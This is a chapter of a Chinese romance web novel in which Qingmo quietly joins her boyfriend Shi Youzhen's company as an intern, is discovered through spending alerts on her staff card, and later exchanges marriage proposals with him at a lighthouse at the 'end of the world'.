清茉干脆给部门的人都点了饮料,正好方案里有些她不熟悉的内容,逮着小姑娘请教,小姑娘诚惶诚恐,知无不言,又云里雾里,等周部长吃完饭回来,小姑娘抓住周部长,问着:“头儿,您知道这位姐姐就是丹尼老师的模特姐姐吗?” 周部长还要继续沉浸在他的剧情中,说着:“不,你认错了,就是长得像而已,快点改材料去,下午我还要跟施总战斗!” 清茉:“……” 小姑娘:“?” 清茉就干脆继续安心做普通员工,她都好奇在偌大的融恒,她如果是一个普通的职员,施友臻要花多久才能注意到她的存在,清茉想,干脆晚上订酒店得了,施总太高高在上了,高攀不起呢。 周部长带领部门效率很高,也是憋足了劲儿要今天再去汇报一次,托章宁跟总裁办求情,小孔主任看着章宁的面子,给排了一个十五分钟的小会,但是不保证施总会不会同意,施总午餐后就一直在跟小施总商量事情。 章宁默默给清茉发信息,问今天要是没“偶遇”上怎么办,清茉淡定地继续学习人家周部长的方案,说着:“我已经订酒店了,让我们玩个测试游戏,就叫施总与普通员工的距离到底有多远。” 章宁:“……” 少衡乐园项目的谈判推进困难重重,涉及到一块区域的搬迁腾退,融恒被属地架在那里,涉及金额巨大,少衡都有点打退堂鼓,过来跟他哥商量,海外IP谈判也很难,少衡甚至想调恩永回来帮忙,恩永对国际项目更有经验。 兄弟俩正在讨论,施友臻突然开始看手机,少衡问着:“哥,我要是开会看手机,你肯定骂我,我正说事儿呢。” 施友臻眼都不抬,说着:“那你不用说了。” 施友臻收到的是消费记录提醒,来自年前给清茉办的那张员工卡,施友臻让综合办公室给设置了最高权限,当时想每天监管清茉的消费和饮食,就关联了手机号,设置即时发送消费记录。 信息稍微有些滞后,施友臻突然收到了好几条,一条是午餐时间餐厅的消费记录,一条是一层咖啡厅的消费记录,还有一条是公司内部便利店的记录,施友臻第一反应是林清茉的卡被后勤部门错误关联了,刚要打电话过去询问,施友臻突然想到了什么,放下了电话,起身朝外走。 少衡问着:“哥?我还没说完呢,你去哪儿啊。” 施友臻摁了公共事务部所在的楼层,出电梯后脚步很快,直接去了办公区,周部长正召集部门的骨干,在会议室就上午的反馈集中修改,施友臻直接推门而入,众人一愣。 施友臻目光扫视一周,周部长心跳超快,终于知道偶像剧为什么能叫人容光焕发,他要见证名场面了! 果然施友臻这次立刻锁定了目标,表情不怎么好看地点名道:“林清茉,出来。” 清茉看看大家,想着上午被无视的仇,有仇当场就报,说着:“施总,在开会呢,稍等一会行吗?” 周部长入戏,赶紧解释道:“施总,这是我们部门刚招的实习生,大家在讨论上午的项目,看看怎么修正。” 施友臻点头,说着:“好,先开吧。” 他给公共事务部关上会议室的门,但是并没有离开,就站在门口,周部长汗颜,笑道:“算了算了,会议结束,讨论差不多了,咱们再汇报一次,散会!” 清茉最后一个出来,施友臻是不管旁人的,拉着清茉的手腕就往外走,大家都还没散,一个个吃瓜一线兴奋地围观,清茉小声说着:“哥,我真是来学习的,你注意一点!怎么能跟实习生拉拉扯扯呢?” 施友臻穿过人群,把她拉到楼梯间,先摁在墙上就是一顿亲,清茉捶他后背,施友臻不管,单手就控住她的两只手腕,亲得肆无忌惮,大有将人就地正法的架势,隐约听到上面的脚步声,施友臻才停下,低头又不甘心地咬了下清茉的下唇,这才质问: “玩什么把戏?” 清茉也委屈,说着:“上午你开部门会议,我明明也参会了,就坐在周部长身后,是你自己没看见!我那么大个人,你都看不到!” 施友臻一愣,他没往这处想,自然不会仔细去看,隐约是记得周部长带人参会,他后面的人被高高的椅子背遮挡,施友臻不会花费心思去看清。 清茉说着:“我是真的想去公共事务那里观摩学习,就私下里拜托了章宁,早晨才下飞机,本来想上午制造小惊喜吓你一跳,结果压根入不了你的法眼,我刚才还跟章哥说,晚上我订了外面酒店,我们想测试一下,如果我是普通职工,你多久能注意到我。” 施友臻只一句话就推翻了清茉的好奇测试:“你不可能是普通职员,你的卡关联了我的手机号码,林清茉,你没法在我这里普通。” 清茉没想到还有关联手机号这一档事儿,施友臻总是在奇怪的地方出乎人的意料,她问着:“所以我刷卡的话,你都能看到?别人的卡也能这样关联吗?又不是银行卡。” 施友臻:“只有你的。” 清茉点头:“哦。” 施友臻又说着:“你也没办法做什么部门实习生,没必要参会的时候坐在角落。” 清茉笑:“可我是来学习的嘛,MoArt要运营起来一点经验没有可不行,上午参会你虽然无视我,但是我觉得好精彩,跟着优秀的团队真的长见识,哥,我想再待一段时间好不好,就跟在周部长团队里,想完整跟一个项目。” 施友臻低头又吻了一会,他其实不想跟清茉猫在这里废话,想干不需要讲话的事情。但是清茉又很认真很崇拜地昂着小脸看他,眼睛里是亮晶晶的期待和憧憬,施友臻没法,就说着:“嗯,可以,但是不是实习生,是座上宾。” 清茉乐道:“那我自己处理,哥你别给人家施加压力就行。” 施友臻想了想,抓住了清茉的语言漏洞,问着:“跟完整的一个项目?什么意思?你这次回来,打算待几天?” 清茉见施友臻终于问到了重点,脸上是得意的笑容,主动攀住施友臻的脖子,凑上去俏皮地问着:“哥,你猜!” 施友臻:“两周?” 清茉笑着摇头。 施友臻:“一个月?” 清茉又摇头,还是忍不住,一下子跳到施友臻身上,快乐地说着:“今年都可以!哥,我学分拿满了!惊不惊喜!意不意外!开不开心!” 施友臻一直没有催着问清茉学业上的事情,怕清茉着急,也怕干扰她正常拿学位,清茉也不主动汇报,原来是在憋着大招,偷偷拿满了学分回来给他天大的惊喜。施友臻托着她,继续刚才的亲吻,清茉有些动情,但是还是央求着:“哥,还有几个小时下班,等晚上好不好,我得给同事们留下好印象,不能早退。” 施友臻又亲了一会,才放开,看了眼时间,很不满,想现在就把人带走,但是清茉可可爱爱地在央求,他问着:“就那么想做我职工?” 清茉乐:“当然当然,施总威武,上午开会我五体投地,太X感了哥,我当场就想跳你身上!” 施友臻:“那你怎么不跳?” 清茉:“椅子背太高,跳不过去。” 施友臻牵着清茉终于从楼梯间出来,拉着她的手回到了公共事务部,周部长一脸快乐地迎出来,部门的人也都一脸吃到瓜的满足感,都盯着施总和清茉。 施友臻正式介绍道:“我女朋友林清茉从今天开始会在公共事务部学习一段时间,就麻烦周部长和各位同事。” 周部长带头热烈鼓掌! 清茉在掌声中红了脸,送施友臻出去,说着:“哥,待会下班我上去找你,你该加班加班,晚上请我吃好吃的。” 在电梯口,施友臻也不避人,又亲了清茉额头一下,不满还有几个小时才下班,说着:“今天的事情,晚上我肯定会算账,林清茉你回国第一个见的人永远都应该是我。” 清茉心虚假笑,跟他摆摆手。 施友臻正式介绍后,说开了大家反倒是放开了,对清茉也不用小心翼翼猜猜猜,都大大方方起来,知道清茉的学术背景后,都请她也发表看法意见,反倒更融洽自然起来。 少衡在办公室等了好一会,他哥终于回来了,少衡无语地摊在沙发上问着:“哥,哥,哥,我到底还推不推,你给我个信儿呗。” 施友臻言简意赅,说着:“推。” 少衡从沙发上蹦起来,知道他哥同意了大资金支持,开心道:“那我们回去继续啃硬骨去了,走了哥。” 施友臻都没跟他分享林清茉的事儿! 少衡自己下到地库,才想着中午头听到公司人都在八卦,说来了一个跟清茉长的很像的新职员,是公共事务部来着吧。少衡好奇,重新摁了上升的楼层,准备去看看到底有多像。 他过去的时候,正好后勤综合部门送来了电脑,正在给清茉装电脑,清茉站在一旁跟同事聊项目。少衡远远在门口看了一眼,不确定,又看了看,心里想着,这也太像了吧。 他走过去打招呼,问着:“这位是?” 清茉自己开口说着:“是新入职的实习生。” 少衡:“!林清茉你怎么在这里!” 清茉推着少衡往外走,说着:“今天晚上要跟哥过,明天再陪你吃饭,我今年都不用再回去了,学分拿满了,请祝贺我,还有不准打扰我上班,我要在公共事务部学习一段时间,但是我想让你给我推荐个性价比高的园区,我想找个固定的办公地点。” 信息量好大,少衡消化后惊讶问着:“我哥不知道吧?我刚从他办公室出来!” 清茉乐:“他知道啊,刚才被他发现了,刚杀过来。” 少衡:“!!!那他什么都不跟我说!!!好啊,你们,很好!” 清茉将他推到电梯间门口,少衡突然还是抱住了清茉,抱着晃了晃,说着:“回来太好了,开心。欢迎回来,茉茉。” 下班时间一到,施友臻没等清茉上楼,已经等到了部门门口,拉着清茉就回家,清茉问着:“哥,先吃饭,先吃饭,我好饿!” 施友臻有他自己的想法,已经提前买好了外带餐,提前让小孔去取了放车上,他已经完全没有耐心再磨磨唧唧去外面的餐厅浪费几个小时吃一顿,载着清茉直接回家,去了大投影的房子。 清茉怕他进门就要扑人,她现在可太了解施友臻的作风了,几乎没有绅士的时候,全是虎狼恶霸,车子一挺稳,她立刻跳下车,喊着:“哥,我坐了十几个小时飞机我必须先洗澡,你拿好我行李跟晚餐!” 她飞奔上楼,施友臻被她的预判和敏捷逗笑,乖乖去取行李,拎着晚餐进门,安置好也上楼,听到里面的水声,仍旧有种不真实的感觉,上次清茉住在这个房子,还是年前的时候。 连她洗澡的时间,都觉得漫长。 顾不上说话的时间过去,清茉安稳地躺在施友臻怀里,身体疲惫,精神却仍旧亢奋,她讲着自己怎么像个空中飞人一样赶学术会议,硬是在最短的时间内把学分拿满,怎么跟恩永商量那边房子的日常维护,回来准备怎么学习运营MoArt,还想选个漂亮的工作室。 清茉说,其实一直羡慕六六有自己的工作室,最早是小小的局促的一间,慢慢换成宽敞的独栋,还可以自己发挥,设计喜欢的风格,清茉说她也很想拥有一个。 施友臻被小女孩终于可以直白地吐露愿望讲地心里柔软,许诺着:“为了表扬你这么快拿满学分,我送给你一个位置最好的工作室,再送给你一套房子,再批给你专项资金,你自己去填满。” 清茉问着:“我要了会不会被批评拜金?哥,那咱俩是不是金钱关系了?” 施友臻:“被金钱关系捆绑,也是一种很紧密的关系,就怕没关系。” 清茉:“哥,我就要我自己的那个小房子好不好。” 施友臻立刻拒绝:“那个想都不要想,那是我的。” 清茉:“……” 施友臻:“小房子就当做是咱们的秘密基地,还是收藏室。” 夜晚漫长,终于可以朝夕在一起的恋人,迟迟无法入睡,施友臻在公司官宣女友的消息也在一夜之间传遍,原本严肃的公司氛围,一夜之间换了风格,所有人上班的时候眼睛里都有了额外的光! 有些事儿,大大方方承认和展示出来,反倒更好,清茉适应了两天,也就习惯了,每天早晨跟施友臻一起上班,她还是喜欢开车,没过足瘾,专门挑了辆喜欢的,早晨载着他哥,当专职司机。有次被少衡碰到,少衡翻白眼,问他哥给司机多少小费。 工作上的事儿,清茉倒是专门问过施友臻,会不会有些内容是企业涉密项目,她尽量回避,施友臻说没有,又说:“股份都会给你,以后也是你必须了解的内容。” 清茉一听,赶紧去捂住施友臻的嘴巴,说着:“祖宗你可别说,我不要!” 施友臻自有他的打算,但是现在先不提也行。 少衡知道清茉晚上的时间肯定被他哥独占,就经常中午来找清茉吃饭,他可算是找到烦恼倾诉垃圾桶了,天天跟清茉讲乐园项目推进中的奇葩事,清茉听了好多天,对他项目已经了如指掌,晚上甚至问她哥少衡能不能抗住压力。 她哥却回答地直指要害:“他是在找你撒娇,不用管他。” 清茉:“……” 清茉原本以为会安分地先适应一段时间,施友臻突然带着清茉办签证,清茉以为他在规划旅行,而且是未来的旅行,就没怎么在意。结果一个周五的下班时间,施友臻过来接她去机场,清茉一看行程,无语问着:“哥,飞南美?你跟我?现在?” 施友臻准备了简单的行李,说着:“嗯,是我一直想去的旅行,林清茉,我们该一起去一次世界尽头,你上次在那里说的话不对,既然我们要朝夕相处,就去收回那些不对的话,去重新说。” 清茉还是觉得匆忙,她刚刚回来,生活节奏都没搞定,就要去这么长途的旅行,心里打退堂鼓,又问了几次,施友臻很认真地再次回答:“既然要正式同居生活在一起,那就有个正式的开端,必须去,走吧,很快,办完正事就回来,来回你都在飞机上睡觉。” 清茉还不太清楚施友臻的正事儿是什么,说实话她上次直播是很久之前的事情了,新的际遇和情绪早就覆盖了旧的,她想搞清楚施友臻到底这么在意的点儿是什么,就在飞机上问施友臻要了偷录的直播视频,果然他有。 清茉跟他靠在一起,听着她自己在直播里讲着: “嗨,我的观众朋友们都来了吗?准备好了吗?马上我倒计时,给大家看眼前的景色!” “看到灯塔了吗?算是标志性的景观了吧,这里好漂亮,以后有机会可以从这里出发,沿着安第斯山脉向北边旅行。” “前几天想起来,小时候有人承诺过带我来这里旅行,已经过去很久了,估计都忘了,但是我突然很想来一次,不用谁陪着,自己来也很好。” “世界的尽头。” 录制的直播中,还有当时的风声和浪涛声,清茉隐约知道为什么施友臻那么介意,恩永有次聊天,跟清茉说起过,他曾经因为这个视频觉得清茉状态不对,跟大哥提过。她那时候确实已经开始失眠了,人生不能陷入虚无主义的思考,会消极,会悲观,会一天比一天孤独,有时候自己就可以救赎,有时候渴望有人能拉一把。 她握着施友臻大而温暖的手,摆弄着他的手指,想着行程实在是太突然,她没有任何准备。飞机落地后,清茉在机场的商店里徘徊踟蹰,好像在找什么东西,施友臻不着急催促,等着清茉慢慢逛,但是清茉好像没有找到中意的。 短暂休整好,他们去了灯塔。清冽海风中,红色的灯塔矗立在蔚蓝大海之中,远处是顶着积雪的高山,和更辽阔的深海。他们重新并肩站在这里,像很多结伴而来的旅人一样,在世界的尽头,许诺没有尽头的未来,让交错的,遗憾的,都扳正轨道。 清茉突然握住施友臻的手,紧张到有些笨拙地将自己右手的食指和大拇指圈成一个圈,去套住施友臻的手指,说着:“哥,太仓促了,我没挑到合适的戒指,但是我想求婚。” 施友臻一怔,任由她紧紧圈住手指,问着:“林清茉,你在说什么,大声一点,说完整的句子,说清楚主语、谓语、宾语。” 清茉紧张到顾不上跟他计较,他在这个时候还学她表白时候的话,太故意了吧!清茉在海风中大声喊着:“施友臻,我跟你求婚,你愿意跟我结婚吗?我想跟你一起生活!” 施友臻笑,但是没着急回答,他低头亲吻清茉的额头,海风吹散的发丝扫过彼此的脸颊,他慎重地托出了一枚复古风格的豪钻戒指,他有备而来,蓄谋已久,反握住了清茉的手,问着: “林清茉,我想跟你拥有法律认可的婚姻关系,在合法婚姻关系里,共同生活,共同抚养后代。” 林清茉都听愣了,懵懵地说着:“哥,你这样对比得我刚才好傻。” 施友臻忍着笑,问她:“林清茉,认真一点,快回答。” 清茉像是要跟海风比赛,很大声地喊着:“我愿意!你呢!哥,你还没回答我的问题!” 施友臻抱住她,在她耳边清晰有力地回答着:“我愿意。” “林清茉,我愿意。” 【婚前正文部分END】 作者有话说:【番外预告】 第一部分:茉茉的平行时空 第二部分:婚后生活《 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